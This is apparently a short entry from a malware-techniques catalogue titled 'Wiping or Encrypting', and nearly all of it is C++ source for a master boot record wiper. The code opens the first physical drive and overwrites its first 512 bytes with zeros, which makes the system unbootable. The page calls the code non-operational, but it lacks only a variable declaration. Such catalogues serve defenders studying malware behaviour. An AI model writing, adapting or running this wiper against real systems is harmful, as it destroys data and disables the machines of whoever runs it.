(C++) Wiping or Encrypting by Unprotect
Created the Tuesday 29 September 2020. Updated 3 years, 2 months ago.
Description:
Warning: the code below is a simple MBR wiper. It is currently not operational for obvious reasons.
Code
#include <Windows.h>
#include <iostream>
#include <ctime>
#include <stdio.h>
#define MBR_SIZE 512
using namespace std;
int WipeMBR(void) {
char dmbr[MBR_SIZE];
ZeroMemory(&dmbr, sizeof(dmbr));
HANDLE disk = CreateFile((LPCSTR)"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
WriteFile(disk, dmbr, MBR_SIZE, &write, NULL);
CloseHandle(disk);
return 0;
}
int main() {
cout << "Start Wiping" << endl;
WipeMBR();
return 0;
}